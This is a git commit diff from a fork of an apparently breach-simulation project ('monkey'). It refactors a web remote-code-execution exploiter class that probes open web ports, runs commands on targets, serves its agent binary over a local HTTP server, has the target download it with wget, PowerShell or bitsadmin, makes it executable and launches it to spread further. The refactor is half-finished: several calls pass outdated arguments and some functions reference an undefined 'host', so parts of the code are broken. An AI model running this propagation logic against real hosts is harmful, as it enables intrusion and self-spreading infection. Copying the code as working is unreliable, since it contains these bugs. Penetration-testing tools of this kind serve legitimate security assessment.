forked from p15670423/monkey
Fixed half of the notes and added a small tcp_port_to_service method in network/tools
no message
This commit is contained in:
parent
8e684a3fad
commit
d1a29872c4
|
@ -388,6 +388,15 @@ class HTTPTools(object):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None):
|
def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None):
|
||||||
|
"""
|
||||||
|
Create http server for file transfer with lock
|
||||||
|
:param host: Variable with target's information
|
||||||
|
:param src_path: Monkey's path on current system
|
||||||
|
:param lock: Instance of lock
|
||||||
|
:param local_ip:
|
||||||
|
:param local_port:
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
if not local_port:
|
if not local_port:
|
||||||
local_port = get_free_tcp_port()
|
local_port = get_free_tcp_port()
|
||||||
|
|
||||||
|
|
|
@ -7,12 +7,13 @@ from posixpath import join
|
||||||
import re
|
import re
|
||||||
from abc import abstractmethod
|
from abc import abstractmethod
|
||||||
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
|
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
|
||||||
from network.tools import check_tcp_port
|
from network.tools import check_tcp_port, tcp_port_to_service
|
||||||
|
|
||||||
__author__ = 'VakarisZ'
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class WebRCE(HostExploiter):
|
class WebRCE(HostExploiter):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
|
@ -29,45 +30,58 @@ class WebRCE(HostExploiter):
|
||||||
def exploit(self, url, command):
|
def exploit(self, url, command):
|
||||||
"""
|
"""
|
||||||
A reference to a method which implements web exploit logic.
|
A reference to a method which implements web exploit logic.
|
||||||
:param url: Url where to send maliciuos packet
|
:param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
|
||||||
:param command: Command which will be executed on remote host
|
:param command: Command which will be executed on remote host
|
||||||
:return: Command's output string. Or True/False if it's a blind exploit
|
:return: Command's output string. Or True/False if it's a blind exploit
|
||||||
"""
|
"""
|
||||||
raise NotImplementedError()
|
raise NotImplementedError()
|
||||||
|
|
||||||
@staticmethod
|
def get_open_service_ports(self, port_list, names):
|
||||||
def get_open_service_ports(host, port_list, names):
|
|
||||||
"""
|
"""
|
||||||
:param host: Host machine we are dealing with
|
|
||||||
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
|
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
|
||||||
:param names: [] of service names. Example: ["http"]
|
:param names: [] of service names. Example: ["http"]
|
||||||
:return: Returns all open ports from port list that are of service names
|
:return: Returns all open ports from port list that are of service names
|
||||||
"""
|
"""
|
||||||
candidate_services = {}
|
candidate_services = {}
|
||||||
for name in names:
|
candidate_services.update({
|
||||||
chosen_services = {
|
service: self.host.services[service] for service in self.host.services if
|
||||||
service: host.services[service] for service in host.services if
|
(self.host.services[service]['name'] in names)
|
||||||
('name' in host.services[service]) and (host.services[service]['name'] == name)
|
})
|
||||||
}
|
|
||||||
candidate_services.update(chosen_services)
|
|
||||||
|
|
||||||
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
||||||
'tcp-' + str(port) in candidate_services]
|
tcp_port_to_service(port) in candidate_services]
|
||||||
|
|
||||||
return valid_ports
|
return valid_ports
|
||||||
|
|
||||||
@staticmethod
|
def check_if_port_open(self, port):
|
||||||
def check_if_port_open(host, port):
|
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
||||||
is_open, _ = check_tcp_port(host.ip_addr, port)
|
|
||||||
if not is_open:
|
if not is_open:
|
||||||
LOG.info("Port %s is closed on %r, skipping", port, host)
|
LOG.info("Port %d is closed on %r, skipping", port, self.host)
|
||||||
return False
|
return False
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@staticmethod
|
def get_command(self, path, http_path, commands):
|
||||||
def check_if_exploitable(exploiter, url):
|
if 'linux' in self.host.os['type']:
|
||||||
|
command = commands['linux']
|
||||||
|
else:
|
||||||
|
command = commands['windows']
|
||||||
|
# Format command
|
||||||
try:
|
try:
|
||||||
resp = exploiter(url, CHECK_COMMAND)
|
command = command % {'monkey_path': path, 'http_path': http_path}
|
||||||
|
except KeyError:
|
||||||
|
LOG.error("Trying to exploit linux host, but linux command is missing/bad! "
|
||||||
|
"Check upload_monkey function docs.")
|
||||||
|
return False
|
||||||
|
return command
|
||||||
|
|
||||||
|
def check_if_exploitable(self, url):
|
||||||
|
"""
|
||||||
|
Checks if target is exploitable by interacting with url
|
||||||
|
:param url: Url to exploit
|
||||||
|
:return: True if exploitable and false if not
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
resp = self.exploit(url, CHECK_COMMAND)
|
||||||
if resp is True:
|
if resp is True:
|
||||||
return True
|
return True
|
||||||
elif resp is not False and ID_STRING in resp:
|
elif resp is not False and ID_STRING in resp:
|
||||||
|
@ -78,46 +92,38 @@ class WebRCE(HostExploiter):
|
||||||
LOG.error("Host's exploitability check failed due to: %s" % e)
|
LOG.error("Host's exploitability check failed due to: %s" % e)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
def build_potential_urls(self, ports, extensions=None):
|
||||||
def build_potential_urls(host, ports, extensions=None):
|
|
||||||
"""
|
"""
|
||||||
:param host: Domain part of url, for example ip of host
|
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
|
||||||
:param ports: Array [ port.nr, isHTTPS? ]
|
Eg. ports: [[80, False], [443, True]]
|
||||||
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
||||||
:return: Array of url's to try and attack
|
:return: Array of url's to try and attack
|
||||||
"""
|
"""
|
||||||
url_list = []
|
url_list = []
|
||||||
if extensions is None:
|
if extensions:
|
||||||
for port in ports:
|
|
||||||
if port[1]:
|
|
||||||
url_list.append(("https://%s:%s" % (host.ip_addr, port[0])))
|
|
||||||
else:
|
|
||||||
url_list.append(("http://%s:%s" % (host.ip_addr, port[0])))
|
|
||||||
else:
|
|
||||||
# We parse extensions not to start with /
|
|
||||||
for idx, extension in enumerate(extensions):
|
for idx, extension in enumerate(extensions):
|
||||||
if '/' in extension[0]:
|
if '/' in extension[0]:
|
||||||
extensions[idx] = extension[1:]
|
extensions[idx] = extension[1:]
|
||||||
|
else:
|
||||||
|
extensions = [""]
|
||||||
for port in ports:
|
for port in ports:
|
||||||
for extension in extensions:
|
for extension in extensions:
|
||||||
if port[1]:
|
if port[1]:
|
||||||
url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension))
|
protocol = "https"
|
||||||
else:
|
else:
|
||||||
url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension))
|
protocol = "http"
|
||||||
|
url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
|
||||||
if not url_list:
|
if not url_list:
|
||||||
LOG.info("No attack url's were built")
|
LOG.info("No attack url's were built")
|
||||||
return url_list
|
return url_list
|
||||||
|
|
||||||
@staticmethod
|
def get_host_arch(self, url):
|
||||||
def get_host_arch(host, exploiter, url):
|
|
||||||
"""
|
"""
|
||||||
:param host: Host parameter
|
|
||||||
:param exploiter: Function with exploit logic. exploiter(url, command)
|
|
||||||
:param url: Url for exploiter to use
|
:param url: Url for exploiter to use
|
||||||
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
|
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
|
||||||
"""
|
"""
|
||||||
if 'linux' in host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
resp = exploiter(url, ARCH_LINUX)
|
resp = self.exploit(url, ARCH_LINUX)
|
||||||
if resp:
|
if resp:
|
||||||
# Pulls architecture string
|
# Pulls architecture string
|
||||||
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||||
|
@ -130,7 +136,7 @@ class WebRCE(HostExploiter):
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
resp = exploiter(url, ARCH_WINDOWS)
|
resp = self.exploit(url, ARCH_WINDOWS)
|
||||||
if resp:
|
if resp:
|
||||||
if "64-bit" in resp:
|
if "64-bit" in resp:
|
||||||
return "64"
|
return "64"
|
||||||
|
@ -139,42 +145,34 @@ class WebRCE(HostExploiter):
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
def check_remote_file(self, url, path):
|
||||||
def check_remote_file(exploiter, url, path):
|
|
||||||
command = EXISTS % path
|
command = EXISTS % path
|
||||||
resp = exploiter(url, command)
|
resp = self.exploit(url, command)
|
||||||
if 'No such file' in resp:
|
if 'No such file' in resp:
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@staticmethod
|
def check_remote_files(self, url):
|
||||||
def check_remote_files(host, exploiter, url, config):
|
|
||||||
"""
|
"""
|
||||||
Checks if any monkey files are present on remote host
|
|
||||||
:param host: Host parameter
|
|
||||||
:param exploiter: Function with exploit logic. exploiter(url, command)
|
|
||||||
:param url: Url for exploiter to use
|
:param url: Url for exploiter to use
|
||||||
:param config: Monkey config from which paths are taken
|
|
||||||
:return: True if at least one file is found, False otherwise
|
:return: True if at least one file is found, False otherwise
|
||||||
"""
|
"""
|
||||||
paths = []
|
paths = []
|
||||||
if 'linux' in host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
paths.append(config.dropper_target_path_linux)
|
paths.append(self._config.dropper_target_path_linux)
|
||||||
else:
|
else:
|
||||||
paths.append(config.dropper_target_path_win_32)
|
paths.append(self._config.dropper_target_path_win_32)
|
||||||
paths.append(config.dropper_target_path_win_64)
|
paths.append(self._config.dropper_target_path_win_64)
|
||||||
for path in paths:
|
for path in paths:
|
||||||
if WebRCE.check_remote_file(exploiter, url, path):
|
if self.check_remote_file(url, path):
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
def get_monkey_dest_path(self, src_path):
|
||||||
def get_monkey_dest_path(config, src_path):
|
|
||||||
"""
|
"""
|
||||||
Gets destination path from source path.
|
Gets destination path from source path.
|
||||||
:param config: monkey configuration
|
|
||||||
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
|
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
|
||||||
:return: Corresponding monkey path from configuration
|
:return: Corresponding monkey path from configuration
|
||||||
"""
|
"""
|
||||||
|
@ -183,46 +181,36 @@ class WebRCE(HostExploiter):
|
||||||
return False
|
return False
|
||||||
try:
|
try:
|
||||||
if 'linux' in src_path:
|
if 'linux' in src_path:
|
||||||
return config.dropper_target_path_linux
|
return self._config.dropper_target_path_linux
|
||||||
elif "windows-32" in src_path:
|
elif "windows-32" in src_path:
|
||||||
return config.dropper_target_path_win_32
|
return self._config.dropper_target_path_win_32
|
||||||
else:
|
else:
|
||||||
return config.dropper_target_path_win_64
|
return self._config.dropper_target_path_win_64
|
||||||
except AttributeError:
|
except AttributeError:
|
||||||
LOG.error("Seems like configuration properties names changed. "
|
LOG.error("Seems like configuration properties names changed. "
|
||||||
"Can not get destination path to upload monkey")
|
"Can not get destination path to upload monkey")
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Wrapped functions:
|
# Wrapped functions:
|
||||||
|
def get_ports_w(self, ports, names):
|
||||||
@staticmethod
|
ports = WebRCE.get_open_service_ports(self.host, ports, names)
|
||||||
def get_ports_w(host, ports, names, log_msg=None):
|
if not ports:
|
||||||
ports = WebRCE.get_open_service_ports(host, ports, names)
|
|
||||||
if not ports and not log_msg:
|
|
||||||
LOG.info("All default web ports are closed on %r, skipping", host)
|
LOG.info("All default web ports are closed on %r, skipping", host)
|
||||||
return False
|
return False
|
||||||
elif not ports and log_msg:
|
|
||||||
LOG.info(log_msg)
|
|
||||||
return False
|
|
||||||
else:
|
else:
|
||||||
return ports
|
return ports
|
||||||
|
|
||||||
@staticmethod
|
def set_host_arch(self, exploiter, url):
|
||||||
def set_host_arch(host, exploiter, url):
|
arch = WebRCE.get_host_arch(exploiter, url)
|
||||||
arch = WebRCE.get_host_arch(host, exploiter, url)
|
|
||||||
if not arch:
|
if not arch:
|
||||||
LOG.error("Couldn't get host machine's architecture")
|
LOG.error("Couldn't get host machine's architecture")
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
host.os['machine'] = arch
|
self.host.os['machine'] = arch
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@staticmethod
|
def upload_monkey(self, url, commands=None):
|
||||||
def upload_monkey(host, config, exploiter, url, commands=None):
|
|
||||||
"""
|
"""
|
||||||
:param host: Where we are trying to upload
|
|
||||||
:param exploiter:exploiter(url, command) Method that implements web RCE
|
|
||||||
:param config: Monkey config, to get the path where to place uploaded monkey
|
|
||||||
:param url: Where exploiter should send it's request
|
:param url: Where exploiter should send it's request
|
||||||
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
|
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
|
||||||
Command must have "monkey_path" and "http_path" format parameters.
|
Command must have "monkey_path" and "http_path" format parameters.
|
||||||
|
@ -236,7 +224,7 @@ class WebRCE(HostExploiter):
|
||||||
# Determine which destination path to use
|
# Determine which destination path to use
|
||||||
LOG.debug("Monkey path found")
|
LOG.debug("Monkey path found")
|
||||||
lock = Lock()
|
lock = Lock()
|
||||||
path = WebRCE.get_monkey_dest_path(config, src_path)
|
path = WebRCE.get_monkey_dest_path(self._config, src_path)
|
||||||
if not path:
|
if not path:
|
||||||
return False
|
return False
|
||||||
# To avoid race conditions we pass a locked lock to http servers thread
|
# To avoid race conditions we pass a locked lock to http servers thread
|
||||||
|
@ -248,60 +236,44 @@ class WebRCE(HostExploiter):
|
||||||
LOG.debug("Exploiter failed, http transfer creation failed.")
|
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||||
return False
|
return False
|
||||||
LOG.info("Started http server on %s", http_path)
|
LOG.info("Started http server on %s", http_path)
|
||||||
if not host.os['type']:
|
if not self.host.os['type']:
|
||||||
LOG.error("Unknown target's os type. Skipping.")
|
LOG.error("Unknown target's os type. Skipping.")
|
||||||
return False
|
return False
|
||||||
if 'linux' in host.os['type']:
|
# Choose command:
|
||||||
if not commands:
|
if commands:
|
||||||
command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path}
|
command = WebRCE.get_command(self.host, path, http_path, commands)
|
||||||
else:
|
else:
|
||||||
try:
|
command = WebRCE.get_command(self.host, path, http_path,
|
||||||
command = commands['linux'] % {'monkey_path': path, 'http_path': http_path}
|
{'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD})
|
||||||
except KeyError:
|
|
||||||
LOG.error("Trying to exploit linux host, but linux command is missing/bad! "
|
resp = self.exploit(url, command)
|
||||||
"Check upload_monkey function docs.")
|
|
||||||
return False
|
|
||||||
else:
|
|
||||||
if not commands:
|
|
||||||
command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path}
|
|
||||||
else:
|
|
||||||
try:
|
|
||||||
command = commands['windows'] % {'monkey_path': path, 'http_path': http_path}
|
|
||||||
except KeyError:
|
|
||||||
LOG.error("Trying to exploit windows host, but windows command is missing/bad! "
|
|
||||||
"Check upload_monkey function docs.")
|
|
||||||
return False
|
|
||||||
resp = exploiter(url, command)
|
|
||||||
|
|
||||||
if not isinstance(resp, bool) and 'owershell is not recognized' in resp:
|
if not isinstance(resp, bool) and 'owershell is not recognized' in resp:
|
||||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
|
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
|
||||||
resp = exploiter(url, backup_command)
|
resp = self.exploit(url, backup_command)
|
||||||
lock.release()
|
lock.release()
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
LOG.info("Uploading proccess finished")
|
LOG.info("Uploading process finished")
|
||||||
return {'response': resp, 'path': path}
|
return {'response': resp, 'path': path}
|
||||||
|
|
||||||
@staticmethod
|
def change_permissions(self, url, path, command=None):
|
||||||
def change_permissions(host, url, exploiter, path, command=None):
|
|
||||||
"""
|
"""
|
||||||
Method for linux hosts. Makes monkey executable
|
Method for linux hosts. Makes monkey executable
|
||||||
:param host: Host info
|
|
||||||
:param url: Where to send malicious packets
|
:param url: Where to send malicious packets
|
||||||
:param exploiter: exploiter(url, command) Method that implements web RCE.
|
|
||||||
:param path: Path to monkey on remote host
|
:param path: Path to monkey on remote host
|
||||||
:param command: Formatted command for permission change or None
|
:param command: Formatted command for permission change or None
|
||||||
:return: response, False if failed and True if permission change is not needed
|
:return: response, False if failed and True if permission change is not needed
|
||||||
"""
|
"""
|
||||||
LOG.info("Changing monkey's permissions")
|
LOG.info("Changing monkey's permissions")
|
||||||
if 'windows' in host.os['type']:
|
if 'windows' in self.host.os['type']:
|
||||||
LOG.info("Permission change not required for windows")
|
LOG.info("Permission change not required for windows")
|
||||||
return True
|
return True
|
||||||
if not command:
|
if not command:
|
||||||
command = CHMOD_MONKEY % {'monkey_path': path}
|
command = CHMOD_MONKEY % {'monkey_path': path}
|
||||||
try:
|
try:
|
||||||
resp = exploiter(url, command)
|
resp = self.exploit(url, command)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error("Something went wrong while trying to change permission: %s" % e)
|
LOG.error("Something went wrong while trying to change permission: %s" % e)
|
||||||
return False
|
return False
|
||||||
|
@ -314,18 +286,15 @@ class WebRCE(HostExploiter):
|
||||||
LOG.error("Missing permissions to make monkey executable")
|
LOG.error("Missing permissions to make monkey executable")
|
||||||
return False
|
return False
|
||||||
elif 'No such file or directory' in resp:
|
elif 'No such file or directory' in resp:
|
||||||
LOG.error("Could not change persmission because monkey was not found. Check path parameter.")
|
LOG.error("Could not change permission because monkey was not found. Check path parameter.")
|
||||||
return False
|
return False
|
||||||
LOG.info("Permission change finished")
|
LOG.info("Permission change finished")
|
||||||
return resp
|
return resp
|
||||||
|
|
||||||
@staticmethod
|
def execute_remote_monkey(self, url, path, dropper=False):
|
||||||
def execute_remote_monkey(host, url, exploiter, path, dropper=False):
|
|
||||||
"""
|
"""
|
||||||
This method executes remote monkey
|
This method executes remote monkey
|
||||||
:param host: Host info
|
|
||||||
:param url: Where to send malicious packets
|
:param url: Where to send malicious packets
|
||||||
:param exploiter: exploiter(url, command) Method that implements web RCE.
|
|
||||||
:param path: Path to monkey on remote host
|
:param path: Path to monkey on remote host
|
||||||
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
|
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
|
||||||
:return: Response or False if failed
|
:return: Response or False if failed
|
||||||
|
@ -339,7 +308,7 @@ class WebRCE(HostExploiter):
|
||||||
monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1)
|
monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1)
|
||||||
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
|
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
|
||||||
try:
|
try:
|
||||||
resp = exploiter(url, command)
|
resp = self.exploit(url, command)
|
||||||
# If exploiter returns True / False
|
# If exploiter returns True / False
|
||||||
if type(resp) is bool:
|
if type(resp) is bool:
|
||||||
LOG.info("Execution attempt successfully finished")
|
LOG.info("Execution attempt successfully finished")
|
||||||
|
|
|
@ -2,7 +2,7 @@ from itertools import izip_longest
|
||||||
from random import shuffle
|
from random import shuffle
|
||||||
|
|
||||||
from network import HostScanner, HostFinger
|
from network import HostScanner, HostFinger
|
||||||
from network.tools import check_tcp_ports
|
from network.tools import check_tcp_ports, tcp_port_to_service
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -31,7 +31,7 @@ class TcpScanner(HostScanner, HostFinger):
|
||||||
ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
|
ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
|
||||||
self._config.tcp_scan_get_banner)
|
self._config.tcp_scan_get_banner)
|
||||||
for target_port, banner in izip_longest(ports, banners, fillvalue=None):
|
for target_port, banner in izip_longest(ports, banners, fillvalue=None):
|
||||||
service = 'tcp-' + str(target_port)
|
service = tcp_port_to_service(target_port)
|
||||||
host.services[service] = {}
|
host.services[service] = {}
|
||||||
if banner:
|
if banner:
|
||||||
host.services[service]['banner'] = banner
|
host.services[service]['banner'] = banner
|
||||||
|
|
|
@ -154,3 +154,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||||
except socket.error as exc:
|
except socket.error as exc:
|
||||||
LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
|
LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
|
||||||
return [], []
|
return [], []
|
||||||
|
|
||||||
|
|
||||||
|
def tcp_port_to_service(port):
|
||||||
|
return 'tcp-' + str(port)
|
||||||
|
|
|
@ -183,7 +183,14 @@ class HTTPServer(threading.Thread):
|
||||||
self._stopped = True
|
self._stopped = True
|
||||||
self.join(timeout)
|
self.join(timeout)
|
||||||
|
|
||||||
|
|
||||||
class LockedHTTPServer(threading.Thread):
|
class LockedHTTPServer(threading.Thread):
|
||||||
|
"""
|
||||||
|
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
|
||||||
|
"""
|
||||||
|
# Seconds to wait until server stops
|
||||||
|
STOP_TIMEOUT = 5
|
||||||
|
|
||||||
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
|
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
|
||||||
self._local_ip = local_ip
|
self._local_ip = local_ip
|
||||||
self._local_port = local_port
|
self._local_port = local_port
|
||||||
|
@ -210,10 +217,11 @@ class LockedHTTPServer(threading.Thread):
|
||||||
|
|
||||||
self._stopped = True
|
self._stopped = True
|
||||||
|
|
||||||
def stop(self, timeout=5):
|
def stop(self, timeout=STOP_TIMEOUT):
|
||||||
self._stopped = True
|
self._stopped = True
|
||||||
self.join(timeout)
|
self.join(timeout)
|
||||||
|
|
||||||
|
|
||||||
class HTTPConnectProxy(TransportProxyBase):
|
class HTTPConnectProxy(TransportProxyBase):
|
||||||
def run(self):
|
def run(self):
|
||||||
httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
|
httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
|
||||||
|
|
Loading…
Reference in New Issue